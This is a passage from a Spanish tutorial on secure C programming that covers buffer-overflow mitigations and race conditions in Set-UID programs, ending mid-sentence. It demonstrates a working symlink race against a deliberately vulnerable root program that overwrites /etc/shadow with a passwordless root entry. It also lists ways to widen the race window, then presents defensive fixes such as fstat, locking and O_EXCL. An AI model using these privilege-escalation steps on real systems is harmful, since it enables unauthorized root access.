data = getenv(var);
/* Filtering
Rem : obviously the replacement character must be
in the list of the allowed ones !!!
*/
for (ptr = data; *(ptr += strspn(ptr, GOOD));)
*ptr = '_';
return data;
}
La función strspn() lo hace sencillo: busca el primer carácter que no sea parte del comjunto
correcto de caracteres. Devuelve la longitud de la cadena (comenzando en cero) manteniendo
sólo los caracteres válidos. Nunca debe darle la vuelta a la lógica. No se puede validar contra
los caracteres que usted no desea. Siempre se debe comprobar con los caracteres "buenos".
Utilizar búferes dinámicos
El desbordamiento de búfer se basa en que el contenido de la pila sobreescriba una variable y
en la dirección de retorno de una función. El ataque involucra datos automáticos, que sólo se
alojan en la pila. Una forma de mover el problema es reemplazar la tabla de caracteres alojada
en la pila por variables dinámicas que se encuentran en memoria. Para hacer esto sustituimos la
secuencia:
#define LG_STRING 128
int fonction (...)
{
char array [LG_STRING];
...
return (result);
}
por :
#define LG_STRING 128
int fonction (...)
{
char *string = NULL;
if ((string = malloc (LG_STRING)) == NULL)
return (-1);
memset(string,'\0',LG_STRING);
[...]
free (string);
return (result);
}
Estas líneas hinchan el código y crean riesgo de fugas de memoria, pero debemos aprovechar
estos cambios para modificar la aproximación y evitar imponer límites de longitud arbitrarios.
Vamos a añadir que usted no puede esperar el mismo resultado utilizando alloca(). El código
parece similar pero alloca aloja los datos en la pila de proceso y esto conduce al mismo
problema que las variables automáticas. Inicializar la memoria a cero utilizando memset() evita
algunos problemas con las variables sin inicializar. De nuevo, esto no corrige el problema,
simplemente el ataque se vuelve menos trivial. Aquellos que quieran profundizar en el tema
pueden leer el artículo sobre desbordamiento de la cima de la pila en w00w00.
Por último, digamos que en determinadas circunstancias es posible librarse rápidamente de los
agujeros de seguridad añadiendo la palabra static antes de la declaración del búfer. El
compilador aloja esta variable en el segmento de datos lejos de la pila de proceso. Conseguir
una shell se convierte en algo imposible, pero no soluciona el problema de un ataque por
denegación de servicio. Por supuesto, esto no funciona si la rutina es llamada de forma
recursiva. Esta "medicina" debe ser considerada como un paliativo, utilizado únicamente para
eliminar un agujero de seguridad en una emergencia sin tener que modificar demasiado el
código.
Conclusiones
Esperamos que este breve repaso a los desbordamientos de búfer les ayude a programar de
forma más segura. Incluso si la técnica de ataque requiere una profunda comprensión del
mecanismo, el fundamento general es bastante accesible. Por otro lado, la implementación de
precauciones no es tan complicada. No olviden que es más rápido hacer un programa seguro en
tiempo de diseño que parchear los fallos más adelante. Confirmaremos este principio en
nuestro siguiente artículo sobre bugs de formato.
PARTE IV – Condiciones de carrera
Introducción
El principio general que define una condición de carrera es la siguiente. Un proceso quiere
acceder a un recurso del sistema en forma exclusiva, primero verifica que el recurso no esta
siendo usado y a continuación lo usa a su antojo. El problema surge cuando otro proceso
aprovecha el lapso de tiempo comprendido entre la verificación y el acceso efectivo para
atribuirse el mismo recurso. Las consecuencias pueden ser diversas. El clásico ejemplo en la
teoría de los sistemas operativos es el abrazo mortal (deadlock) entre ambos procesos. En la
mayoría de los casos prácticos esto ocasiona a menudo el mal funcionamiento de una
aplicación o incluso da lugar a agujeros de seguridad cuando un proceso injustamente se
beneficia de los privilegios que tiene otro.
Lo que hemos previamente denominado recurso puede presentarse bajo distintas formas. La
mayoría de las condiciones de carrera que han sido descubiertas y corregidas en el propio
kernel fueron debido a accesos concurrentes a áreas de memoria. Nosotros únicamente, nos
centraremos en las aplicaciones del sistema y supondremos que los recursos involucrados son
nodos del sistema de archivos. Esto incluye no sólo a los archivos comunes sino también a los
accesos directos a los dispositivos a través de los puntos de entradas especiales del directorio
/dev/.
La mayoría de las veces, un ataque que tiende a comprometer la seguridad de un sistema se
realiza contra aplicaciones Set-UID pues de esta manera el atacante puede beneficiarse de los
privilegios del propietario de un archivo ejecutable. Sin embargo, a diferencia de los agujeros
de seguridad que se han discutido previamente (desbordamiento de búfer, formateo de
cadenas...), las condiciones de carrera no permiten la ejecución de código "personalizado" y
sólo se benefician de los recursos de un programa mientras está ejecutándose. Este tipo de
ataque está dirigido también a utilidades normales (no sólo a las del tipo Set-UID). El cracker
tiende una emboscada en espera de un usuario, preferentemente root, para que ejecute la
aplicación afectada y de esta manera poder acceder a sus recursos. Esto también es válido para
escribir un archivo (es decir, ~/.rhost en donde la cadena "+ +" proporciona un acceso directo
desde cualquier máquina sin contraseña) o para leer un archivo confidencial (datos comerciales
reservados, información médica personal, archivo de contraseñas, clave privada...)
A diferencia de los agujeros de seguridad discutidos en nuestros artículos previos este
problema afecta a todas las aplicaciones y no únicamente a las utilidades Set-UID, servidores
de sistemas o demonios.
Primer ejemplo
Analicemos el comportamiento de un programa Set-UID que necesita guardar datos en un
archivo perteneciente a un usuario. Podemos considerar el caso, por ejemplo, de un cliente de
correo como sendmail. Supongamos que el usuario puede proporcionar un nombre al archivo y
un mensaje para escribir en él lo cual es posible en determinadas circunstancias. En este caso,
la aplicación debe verificar que el archivo pertenece a la persona que inició el programa y que
no se trata de un enlace simbólico a un archivo del sistema. No olvidemos que, al ser un
programa Set-UID root, puede modificar cualquier archivo del sistema. En consecuencia,
comparará el propietario del archivo con su UID real. Escribamos algo así:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* ex_01.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int
main (int argc, char * argv [])
{
struct stat st;
FILE * fp;
if (argc != 3) {
fprintf (stderr, "Uso : %s mensaje a archivo\n", argv [0]);
exit(EXIT_FAILURE);
}
if (stat (argv [1], & st) < 0) {
fprintf (stderr, "No se puede ubicar %s\n", argv [1]);
exit(EXIT_FAILURE);
}
if (st . st_uid != getuid ()) {
fprintf (stderr, "No es el propietario de %s \n", argv [1]);
exit(EXIT_FAILURE);
}
if (! S_ISREG (st . st_mode)) {
fprintf (stderr, "%s no es un archivo normal\n", argv[1]);
exit(EXIT_FAILURE);
}
if ((fp = fopen (argv [1], "w")) == NULL) {
fprintf (stderr, "No se puede abrir\n");
exit(EXIT_FAILURE);
}
fprintf (fp, "%s\n", argv [2]);
fclose (fp);
fprintf (stderr, "Escritura exitosa\n");
exit(EXIT_SUCCESS);
}
Como explicamos en nuestro primer artículo, sería conveniente para una aplicación Set-UID
abandonar momentáneamente sus privilegios y abrir el archivo usando el UID real del usuario
que lo llamó. De hecho, la situación descripta corresponde más bien a un demonio que
proporciona servicios a todos los usuarios. Al correr siempre con el ID root, hará la
verificación de pertenencia con el UID de su interlocutor más bien que con su propio UID real.
Sin embargo, seguiremos por el momento con esta suposición a pesar de no ser realista pues
nos permitirá comprender fácilmente cómo explotar el agujero de seguridad.
Como podemos ver, el programa empieza a efectuar todas las verificaciones pertinentes. Es
decir: que el archivo existe, que pertenece al usuario y que se trata de un archivo normal. A
continuación, abre el archivo y escribe el mensaje. ¡Es aquí donde radica el agujero de
seguridad!. O, para ser más precisos, entre el lapso de tiempo comprendido entre la lectura de
los atributos del archivo con stat() y su apertura con fopen(). Si bien este intervalo de tiempo es
extremadamente breve un atacante puede beneficiarse con él cambiando las características del
archivo. Para que nuestro ataque sea aún más sencillo, agreguemos una línea que ponga a
dormir el proceso entre las dos operaciones para contar con el tiempo suficiente para poder
realizar la tarea manualmente. Cambiemos la línea 30 (previamente vacía) por la siguiente:
30
sleep (20);
Manos a la obra. Primero hagamos a la aplicación Set-UID root. Es muy importante
previamente realizar una copia de seguridad de nuestro archivo de contraseñas ocultas
/etc/shadow:
$ cc ex_01.c -Wall -o ex_01
$ su
Password:
# cp /etc/shadow /etc/shadow.bak
# chown root.root ex_01
# chmod +s ex_01
# exit
$ ls -l ex_01
-rwsrwsr-x 1 root root 15454 Jan 30 14:14 ex_01
$
Todo está listo para el ataque. Estamos en un directorio que es nuestro. Hemos descubierto una
utilidad Set-UID root (en este caso ex_01) que contiene un agujero de seguridad y queremos
reemplazar la línea del archivo de contraseñas /etc/shadow que contiene la palabra root por una
línea con el campo de contraseña vacío.
Primero, creamos un archivo fic:
$ rm -f fic
$ touch fic
A continuación, ejecutamos nuestra aplicación en segundo plano a fin de conservar la principal
y le pedimos que escriba una cadena en el archivo. Primero, el programa hace las verificaciones
pertinentes para posteriormente dormir momentáneamente antes de acceder al archivo.
$ ./ex_01 fic "root::1:99999:::::" &
[1] 4426
El contenido de la línea referente al root se detalla en la página del manual shadow(5). Lo más
importante es que el segundo campo se encuentra vacío (sin contraseña). Mientras el proceso
duerme, contamos con alrededor de 20 segundos para eliminar el archivo fic y reemplazarlo por
un enlace (simbólico o físico, cualquiera de los dos funciona correctamente) al archivo
/etc/shadow. Recordemos que todo usuario puede crear un enlace a un archivo situado en un
directorio de su pertenencia (o como veremos más tarde en /tmp)aún cuando no sea capaz de
leer su contenido . Sin embargo, no es posible crear una copia de dicho archivo pues requeriría
permiso de lectura
$ rm -f fic
$ ln -s /etc/shadow ./fic
A continuación mediante el comando fg del shell traemos el proceso ex_01 al primer plano y
esperamos a que finalize:
$ fg
./ex_01 fic "root::1:99999:::::"
Escritura exitosa
$
¡Voilà! Operación terminada. El archivo /etc/shadow contiene una única línea indicando que el
root no tiene contraseña. ¿No lo creen?
$ su
# whoami
root
# cat /etc/shadow
root::1:99999:::::
#
Terminemos con nuestro experimento recuperando nuestro archivo de contraseñas original:
# cp /etc/shadow.bak /etc/shadow
cp: replace `/etc/shadow¿ y
#
Seamos más realistas
Hemos explotado con éxito una condición de carrera en una utilidad Set-UID root. Por
supuesto, este programa fue demasiado "generoso" al darnos 20 segundos para modificar los
archivos a sus espaldas. En una aplicación real la condición de carrera sólo se aplica a un
intervalo muy breve de tiempo. ¿Cómo podemos aprovecharnos de esta situación entonces?
Generalmente, un cracker recurre a un ataque de fuerza bruta renovando los intentos cientos,
miles o millones de veces mediante scripts que automatizan la tarea. Es posible aumentar las
posibilidades de "caer" dentro del agujero de seguridad con diversas artimañas con el propósito
de incrementar el intervalo de tiempo entre las dos operaciones que el programa
incorrectamente considera íntimamente enlazadas. La idea consiste en frenar el proceso
objetivo para aprovechar más fácilmente la demora precedente a la modificación del archivo.
Distintos enfoques pueden ayudarnos a alcanzar nuestra meta:
●
Reducir la prioridad del proceso atacado tanto como sea posible ejecutándolo con el
prefijo nice -n 20;
● Incrementar la carga del sistema ejecutando varios procesos que consuman ciclos del
procesador (como por ejemplo usando while (1););
●
Si bien el kernel no permite depurar programas Set-UID es posible forzar una pseudo
ejecución paso a paso enviando una secuencia de señales SIGSTOP-SIGCONT que
permitan bloquear momentáneamente el proceso (mediante por ejemplo la combinación
de teclas Ctrl-Z) y volver a iniciarlo si fuera necesario
El método que permite beneficiarnos de un agujero de seguridad basado en una condición de
carrera es aburrido y repetitivo pero realmente se puede usar. Intentemos hallar otras soluciones
más efectivas.
Posible mejoras
El problema discutido anteriormente está relacionado con la capacidad de cambiar las
características de un objeto durante el intervalo de tiempo entre dos operaciones prácticamente
simultáneas. En la situación descripta, el cambio no estaba relacionado con propio archivo.
Dicho sea de paso, como usuario normal sería bastante difícil modificar o incluso leer el
archivo /etc/shadow. De hecho, los cambios estan relacionados con el enlace entre el nodo del
archivo existente en el árbol de nombres y el propio archivo considerado como entidad física.
Recordemos que la mayoría de los comandos del sistema (rm, mv, ln, etc.) actúan sobre el
nombre del archivo y no sobre el contenido del mismo. Incluso cuando se borra un archivo
(usando rm y la llamada del sistema unlink()), realmente se borra el contenido cuando se
elimina el úlimo enlace físico, la última referencia.
El error cometido por el programa es haber considerado la asociación entre el nombre del
archivo y su contenido como intercambiables, o al menos constantes, durante el intervalo de
tiempo entre las operaciones stat() y fopen(). Bastará con recurrir a un enlace físico para
comprobar que esta asociación no es permanente en absoluto. Consideremos un ejemplo
usando este tipo de enlace. En un directorio nuestro creamos un nuevo enlace a un archivo del
sistema. Obviamente, conservamos el propietario del archivo y el modo de acceso. La opción -f
del comando ln fuerza su creación incluso si el nombre ya existe: :
$ ln -f /etc/fstab ./mi_archivo
$ ls -il /etc/fstab mi_archivo
8570 -rw-r--r-- 2 root root 716 Jan 25 19:07 /etc/fstab
8570 -rw-r--r-- 2 root root 716 Jan 25 19:07 mi_archivo
$ cat mi_archivo
/dev/hda5 /
ext2 defaults,mand 1 1
/dev/hda6 swap
swap defaults
00
/dev/fd0 /mnt/floppy
vfat noauto,user 0 0
/dev/hdc /mnt/cdrom
iso9660 noauto,ro,user 0 0
/dev/hda1 /mnt/dos
vfat noauto,user 0 0
/dev/hda7 /mnt/audio
vfat noauto,user 0 0
/dev/hda8 /home/ccb/annexe ext2 noauto,user 0 0
none
/dev/pts
devpts gid=5,mode=620 0 0
none
/proc
proc defaults
00
$ ln -f /etc/host.conf ./mi_archivo
$ ls -il /etc/host.conf mi_archivo
8198 -rw-r--r-- 2 root root 26 Mar 11 2000 /etc/host.conf
8198 -rw-r--r-- 2 root root 26 Mar 11 2000 mi_archivo
$ cat mi_archivo
order hosts,bind
multi on
$
La opción -i de /bin/ls muestra el número de ínodo al comienzo de la línea. Podemos ver que el
mismo nombre apunta a dos ínodos físicos diferentes. Es evidente que los dos comandos"cat"
actuando sobre el mismo nombre de archivo muestran dos contenidos totalmente diferentes a
pesar de que no ha ocurrido ningún cambio en estos archivos entre las dos operaciones.
En verdad, nos gustaría que las funciones que verifican y acceden al archivo siempre apunten al
mismo contenido y al mismo ínodo. ¡Y es posible! El propio kernel efectúa esta asociación de
manera automática cuando nos proporciona un descriptor de archivo. Cuando abrimos un
archivo para lectura, la llamada al sistema open() devuelve un valor entero -el descriptor- que
lo asocia mediante una tabla interna con un archivo físico. Todas las lecturas que hagamos
posteriormente estarán relacionadas con el contenido de este archivo independientemente de lo
que ocurra con el nombre usado durante la operación de apertura del mismo.
Hagamos hincapié en lo siguiente: una vez que se ha abierto un archivo, cada operación
relacionada con el nombre del mismo, incluyendo su eliminación, no tendrá ningún efecto
sobre su contenido. Mientras exista un proceso que contenga el descriptor de un archivo, el
contenido del mismo no se eliminará del disco incluso si su nombre desaparece del directorio
donde fue almacenado. El kernel mantiene la asociación entre un descriptor y el contenido de
un archivo durante el tiempo comprendido entre la llamada al sistema open() que proporciona
el descriptor y la liberación del mismo mediante close() o hasta que ocurra la finalización del
proceso.
¡Aquí tenemos nuestra solución! Podemos abrir el archivo y verificar a continuación sus
permisos examinando las características de su descriptor en vez de su nombre. Esto se puede
realizar usando la llamada al sistema fstat() que funciona como stat() pero verifica un
descriptor de archivo en vez de una ruta. Para acceder al contenido de un archivo usando su
descriptor emplearemos la función fdopen() que funciona como fopen() pero haciendo uso del
descriptor en vez del nombre del archivo. Por lo tanto, el programa quedará:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* ex_02.c */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int
main (int argc, char * argv [])
{
struct stat st;
int fd;
FILE * fp;
if (argc != 3) {
fprintf (stderr, "Uso : %s mensaje a archivo\n", argv [0]);
exit(EXIT_FAILURE);
}
if ((fd = open (argv [1], O_WRONLY, 0)) < 0) {
fprintf (stderr, "No es posible abrir %s\n", argv [1]);
exit(EXIT_FAILURE);
}
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
fstat (fd, & st);
if (st . st_uid != getuid ()) {
fprintf (stderr, "¡ %s no le pertenece !\n", argv [1]);
exit(EXIT_FAILURE);
}
if (! S_ISREG (st . st_mode)) {
fprintf (stderr, "%s no es un archivo normal\n", argv[1]);
exit(EXIT_FAILURE);
}
if ((fp = fdopen (fd, "w")) == NULL) {
fprintf (stderr, "No es posible abrirlo\n");
exit(EXIT_FAILURE);
}
fprintf (fp, "%s", argv [2]);
fclose (fp);
fprintf (stderr, "Escritura exitosa\n");
exit(EXIT_SUCCESS);
}
Como se puede ver, a partir de la línea 20 ningún cambio del nombre del archivo (eliminación,
cambio de nombre, enlace) afectará el comportamiento de nuestro programa. Es decir, el
contenido del archivo físico original se conservará.
Generalización
Al manipular un archivo es importante asegurarse que la asociación entre su representación
interna y su contenido real permanezca constante. Preferentemente, usaremos las siguientes
llamadas al sistema para manipular al archivo físico:
Uso
Va al directorio representado por fd.
Modifica los permisos de acceso a un archivo.
Cambia el propietario de un archivo.
Consulta la infomación almacenada en el ínodo de un
fstat (int fd, struct stat * st)
archivo físico.
ftruncate (int fd, off_t length)
Trunca un archivo existente.
Inicializa IO desde un descriptor ya abierto. Es una
fdopen (int fd, char * mode)
rutina de la biblioteca stdio y no una llamada del
sistema.
Obviamente, debemos al principio abrir el archivo en el modo elegido invocando a open() (no
olvidarse del tercer argumento al crear el nuevo archivo). Continuaremos hablando sobre
open() más tarde cuando discutamos el problema de los archivos temporales.
Llamada al sistema
fchdir (int fd)
fchmod (int fd, mode_t mode)
fchown (int fd, uid_t uid, gid_t gif)
Debemos insistir en la importancia de verificar los códigos de retorno de las llamadas al
sistema. A pesar de no tener nada que ver con las condiciones de carrera mencionemos a modo
de ejemplo un error encontrado en las primeras implementaciones de /bin/login debido a que no
tenía en cuenta una verificación de un código de error. Esta aplicación, proporcionaba
automáticamente acceso de root cuando no encontraba el archivo /etc/passwd. Este
comportamiento puede resultar razonable en lo que respecta a la reparación de un sistema de
archivos dañado. En el otro extremo, el verificar que era imposible abrir el archivo en vez de
comprobar su existencia, es menos aceptable. En efecto, bastaba con llamar a /bin/login
después de abrir el número máximo de descriptores permitido para un usuario para obtener
directamente el acceso root ... Finalizemos esta disgresión insistiendo en la importancia de
comprobar, antes de tomar cualquiern acción sobre la seguridad de un sistema, no sólo si la
llamada al sistema tuvo o no éxito sino también los códigos de error
Accesos concurrentes al contenido de un archivo
Un programa vinculado con la seguridad de un sistema no debe depender del acceso exclusivo
al contenido de un archivo. Más precisamente es importante evaluar los riesgos que implican
los accesos concurrentes a un mismo archivo. El mayor peligro proviene de un usuario
ejecutando simultáneamente múltiples instancias de una aplicación Set-UID root o
estableciendo múltiples conexiones a la vez con el mismo demonio con la esperanza de crear
una condición de carrera para modificar de una manera inusual el contenido de un archivo del
sistema.
Para evitar que un programa sea permeable a este tipo de situación, es necesario implementar
un mecanismo de acceso exclusivo a los datos del archivo. Este es el mismo problema que
tienen las bases de datos en donde a varios usuarios se les permite consultar o cambiar el
contenido de un archivo. El principio de bloqueo de un archivo resuelve este problema.
Cuando un proceso quiere escribir en un archivo, le pide al kernel que bloquee al archivo o
parte de él. Mientras el proceso conserve el bloqueo ningún otro proceso puede pedir el
bloqueo del mismo archivo o parte de él. De la misma manera, un proceso solicita un bloqueo
antes de la lectura del contenido de un archivo para asegurarse que no habrán cambios mientras
dure el bloqueo.
De hecho, el sistema es más listo que esto: el kernel distingue entre los bloqueos solicitados
para la lectura de un archivo de aquellos reclamados para la escritura del mismo. Diversos
procesos pueden retener un bloqueo de lectura en forma simultánea ya que nadie intentará
modificar el contenido del archivo. No obstante, solo un proceso puede conservar un bloqueo
para escritura en un determinado instante de tiempo y ningún otro puede hacerlo
simultáneamente incluso para lectura.
Existen dos tipos de bloqueos (en gral. incompatibles entre sí). El primero heredado del BSD se
basa en la llamada al sistema flock(). Su primer argumento es el descriptor del archivo al que se
desea acceder de manera exclusiva y el segundo es una constante simbólica que representa la
operación a realizar. Puede tener diferentes valores: LOCK_SH (bloqueo de lectura),
LOCK_EX (bloqueo de escritura), LOCK_UN (para destrabar el bloqueo). La llamada al
sistema mantendrá el bloqueo mientras la operación solicitada no resulte posible. No obstante,
a veces es posible agregar (mediante un OR | binario) la constante LOCK_NB para que la
llamada dé error en vez de permanecer bloqueada.
El segundo tipo de bloqueo proviene del Sistema V y se dundamenta en la llamada al sistema
fcntl() cuya invocación es un tanto complicada. Existe una función de biblioteca llamada
lockf() similar a la llamada al sistema pero que no ofrece todas las posibilidades de esta última.
El primer argumento de fcntl()es el descriptor del archivo a bloquear. El segundo representa la
operación a realizar: F_SETLK y F_SETLKW gestionan el bloqueo, la segunda permanece
bloqueada hasta que la operación resulte posible mientras que la primera retorna imediatamente
en caso de error. F_GETLK consulta el estado de bloqueo de un archivo (lo cual normalmente
carece de utilidad para las aplicaciones actuales). El tercer argumento es un puntero a una
variable de tipo struct flock que describe el bloqueo. Los miembros más importante de la
estructura flock son las siguientes:
Nombre
Significado
Acción esperada : F_RDLCK (bloqueo de lectura), F_WRLCK (bloqueo de
l_type
int
escritura) y F_UNLCK (desbloqueo).
l_whence int
Origen del campo l_start (generalmente SEEK_SET).
l_start
off_t Posición al comienzo del bloqueo (generalmente 0).
l_len
off_t Duración del bloqueo, 0 para alcanzar el final del arhivo.
Podemos ver que fcntl() puede bloquear porciones limitadas del archivo pero no es la única
ventaja en relación a flock(). Analicemos con detalle un pequeño programa que nos pide hacer
un bloqueo de lectura a una serie de archivos dados como argumento y que espera que el
usuario presione la tecla Enter antes de finalizar y de esta manera destrabar el bloqueo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Tipo
/* ex_03.c */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int
main (int argc, char * argv [])
{
int i;
int fd;
char buffer [2];
struct flock lock;
for (i = 1; i < argc; i ++) {
fd = open (argv [i], O_RDWR | O_CREAT, 0644);
if (fd < 0) {
fprintf (stderr, "No es posible abrir %s\n", argv [i]);
exit(EXIT_FAILURE);
}
lock . l_type = F_WRLCK;
lock . l_whence = SEEK_SET;
lock . l_start = 0;
lock . l_len = 0;
if (fcntl (fd, F_SETLK, & lock) < 0) {
fprintf (stderr, "No es posible destrabar %s\n", argv [i]);
exit(EXIT_FAILURE);
}
}
fprintf (stdout, "Presione Enter para destrabar el/los bloqueo(s)\n");
fgets (buffer, 2, stdin);
exit(EXIT_SUCCESS);
}
Primero ejecutamos el programa desde una primer consola donde quedará a la espera:
$ cc -Wall ex_03.c -o ex_03
$ ./ex_03 mi_archivo
Presione Enter para destrabar el/los bloqueo(s)
>Desde otra terminal...
$ ./ex_03 mi_archivo
No es posible desbloquear mi_archivo
$
Al presionar Enter en la primer consola, destrabamos el bloqueo.
Con este mecanismo es posible impedir accesos concurrentes a directorios y colas de impresión
como lo hace el demonio lpd que usa un bloqueo flock() sobre el archivo /var/lock/subsys/lpd
de manera de permitir una única instancia. Es posible asimismo administrar en forma segura el
acceso a un archivo importante del sistema como ocurre con /etc/passwd que se bloquea
mediante la función fcntl() de la biblioteca pam cuando se modifican los datos del usuario.
No obstante, hay que reconocer que esto sólo protege de interferencias con aplicaciones que
tienen un comportamiento correcto, es decir, que piden al kernel reservar el acceso adecuado
antes de leer o escribir un archivo del sistema importante. En este caso, se habla de bloqueo
cooperativo lo que expresa la responsabilidad de cada aplicación sobre los accesos a los datos.
Desafortunadamente un programa mal escrito es capaz de reemplazar el contenido de un
archivo incluso si otro proceso con buen comportamiento tiene un bloqueo para escritura. Aquí
tenemos un ejemplo. Escribimos unas pocas palabras en un archivo y lo bloqueamos usando el
programa anterior:
$ echo "PRIMERO" > mi_archivo
$ ./ex_03 mi_archivo
Presione Enter para destrabar el/los bloqueo(s)
>Desde otra consola, podemos modificar al archivo:
$ echo "SEGUNDO" > mi_archivo
$
Volviendo a la primer consola, verificamos los "daños":
(Enter)
$ cat mi_archivo
SEGUNDO
$
Para solucionar este problema, el kernel de Linux brinda al administrador del sistema un
mecanismo de bloqueo estricto heredado del System V. Por lo tanto, únicamente se puede usar
con los bloqueos de fcntl() y no con los de flock(). El administrador puede indicar al kernel que
todos los bloqueos de fcntl() sean estrictos usando una combinación determinada de permisos
de acceso. De este modo, si un proceso bloquea un archivo para escritura otro proceso no podrá
escribir en él incluso siendo superusuario La combinación particular consiste en usar el bit SetGID mientras se quita al grupo el bit de ejecución. Esto se logra con el comando:
$ chmod g+s-x mi_archivo
$
Sin embargo, esto no es suficiente. Para que un archivo automáticamente se beneficie con
bloqueos cooperativos estrictos se debe activar el atributo mandatory en la partición donde se
encuentra. Generalmente, hay que modificar el archivo /etc/fstab agregando la opción mand en
la cuarta columna o escribiendo en la línea de comandos:
# mount
/dev/hda5 on / type ext2 (rw)
[...]
# mount / -o remount,mand
# mount
/dev/hda5 on / type ext2 (rw,mand)
[...]
#
Ahora, podemos comprobar que es imposible realizar algún cambio desde otra consola:
$ ./ex_03 mi_archivo
Presionar Enter para destrabar el/los bloqueo(s)
>Desde otra terminal:
$ echo "TERCERO" > mi_archivo
bash: mi_archivo: Recurso momentáneamente no disponible
$
Y volviendo a la primer consola:
(Enter)
$ cat mi_archivo
SEGUNDO
$
Es el administrador y no el programador quien debe decidir si hace o no un bloqueo estricto a
un archivo (por ejemplo, /etc/passwd o /etc/shadow). El programador tiene que controlar la
manera en que se acceden los datos lo que asegurará que su aplicación administre los mismos
en forma coherente al leer y que no resulte peligroso para otros procesos al escribir mientras se
administre el entorno adecuadamente.
Archivos temporales
A menudo un programa necesita almacenar datos en forma transitoria en un archivo. El caso
más común ocurre cuando se desea insertar un registro en la mitad de un archivo ordenado en
forma secuencial lo que implica hacer una copia del archivo original en un archivo temporal
mientras se agrega el nuevo dato. A continuación la llamada al sistema unlink() elimina el
archivo original y rename() renombra al archivo temporal para reemplazarlo por el original.
Si no se hace manera adecuada, la apertura de un archivo temporal es a menudo el origen de
situaciones de concurrencia explotables por usuarios malintencionados. Recientemente se han
descubierto agujeros de seguridad basados en archivos temporales en aplicaciones tales como
Apache, Linuxconf, getty_ps, wu-ftpd, rdist, gpm, inn, etc. Recordemos unos pocos principios
para evitar este tipo de inconvenientes.
En general, la creación de un archivo temporal se realiza en el directorio /tmp. Esto permite
saber al administrador del sistema dónde se almacenan los datos de corta duración. Asimismo,
también es posible programar una limpieza periódica (usando cron), usar una partición
independiente formateada en tiempo de arranque, etc. En general, el administrador elige el
lugar reservado para los archivos temporales en los archivos <paths.h> y <stdio.h> mediante la
definición de las constantes simbólicas _PATH_TMP y P_tmpdir. De hecho, el usar otro
directorio diferente al predeterminado /tmp no es una buena idea pues implicaría recompilar
cada una de las aplicaciones incluyendo las bibliotecas de C. No obstante, mencionemos que el
comportamiento de la rutina GlibC se puede definir mediante la variable de entorno TMPDIR.
De esta forma, el usuario puede pedir que los archivos temporales se almacenen en un
directorio propio en vez de hacerlo en el directorio predeterminado /tmp. Esto resulta a veces
necesario cuando la partición donde se encuentra /tmp es demasiado pequeña como para
ejecutar aplicaciones que requieran de un almacenamiento temporal muy grande.
El directorio /tmp del sistema es algo especial debido a sus permisos de acceso:
$ ls -ld /tmp
drwxrwxrwt 7 root root
$
31744 Feb 14 09:47 /tmp
El Sticky-Bit representado por la letra t al final o o por el valor 01000 en modo octal tiene un
significado determinado cuando se aplica a un directorio: sólo el propietario del directorio (el
superusuario) y el propietario de un archivo que se encuentre en este directorio pueden
eliminar al archivo. Puesto que el directorio tiene un acceso completo para escritura, cada
usuario puede colocar sus archivos en él con la seguridad que se encontrarán protegidos al
menos hasta que el administrador del sistema proceda a la próxima limpieza del sistema.
Sin embargo, usar el directorio de almacenamiento temporal puede ocasionar algunos
problemas. Comencemos con el caso más sencillo, el de una aplicación Set-UID root que se
comunica con un usuario. Imaginemos un cliente de correo. Si este proceso recibe una señal
que le pide finalizar inmediatamente (SIGTERM o SIGQUIT durante el apagado del sistema,
por ejemplo) puede intentar guardar al vuelo el correo ya escrito pero que aún no ha sido
enviado. En las primeras versiones, se creaba el archivo /tmp/dead.letter. Bastaba entonces con
que el usuario creara (puesto que puede escribir en el directorio /tmp) un enlace físico al
directorio /etc/passwd con el nombre dead.letter para que el cliente de correo (ejecutándose con
UID efectivo root) escribiera en este archivo el contenido del mensaje a medio terminar (que
contenía, por casualidad, la línea "root::1:99999:::::").
El primer problema con este comportamiento es la naturaleza previsible del nombre del
archivo. Basta con observar una única vez la aplicación para deducir que usará el nombre de
archivo /tmp/dead.letter. Por lo tanto, el primer paso consiste en emplear un nombre de archivo
especialmente concebido para la instancia del programa actual. Existen diversas funciones de
biblioteca capaces de proporcionarnos un nombre de archivo temporal personal
Supongamos que tenemos una función de este tipo que nos proporcione un único nombre para
nuestro archivo temporal. Hay software libre disponible con su código fuente (con su
correspondiente biblioteca C). No obstante, el nombre del archivo resultante es previsible
aunque bastante difícil de adivinar. Un atacante podría crear un enlace simbólico al nombre
proporcionado por la biblioteca C. Nuestra primer reacción es, por lo tanto, verificar que el
archivo existe antes de abrirlo. Ingenuamente podríamos escribir algo como :
if ((fd = open (filename, O_RDWR)) != -1) {
fprintf (stderr, "%s ya existe\n", filename);
exit(EXIT_FAILURE);
}
fd = open (filename, O_RDWR | O_CREAT, 0644);
...
Obviamente, este es un típico caso de condición de carrera donde un usuario se las arregla para
crear un enlace al /etc/passwd entre el primer open() y el segundo creando de esta manera un
agujero de seguridad. Es necesario contar con un medio para efectuar estas dos operaciones
prácticamente en forma simultánea de modo que no pueda ocurrir ninguna manipulación entre
ellas. Existe una opción específica de la llamada al sistema open() denominada O_EXCL y que
se debe usar conjuntamente con O_CREAT. Esta opción hace que open() dé error si el archivo
ya existe pero pero la verificación de existencia está íntimamente ligada a la creación.
A propósito, la extensión Gnu 'x' para los modos de apertura de la función fopen() exige una
creación exclusiva del archivo y falla si el archivo ya existe:
FILE * fp;
if ((fp = fopen (nombre_archivo, "r+x")) == NULL) {
perror ("No es posible crear el archivo.");
exit (EXIT_FAILURE);
}
Los permisos asociados a los archivos temporales juegan igualmente un rol importante. En
efecto, si se debe escribir información confidencial y el archivo está en modo 644
(lectura/escritura para el propietario, sólo lectura para el resto de los usuarios) puede resultar un
tanto molesto. La función
#include <sys/types.h>
#include <sys/stat.h>
mode_t umask(mode_t mask);
nos permite fijar los permisos que serán otorgados a un archivo durante su creación. De esta
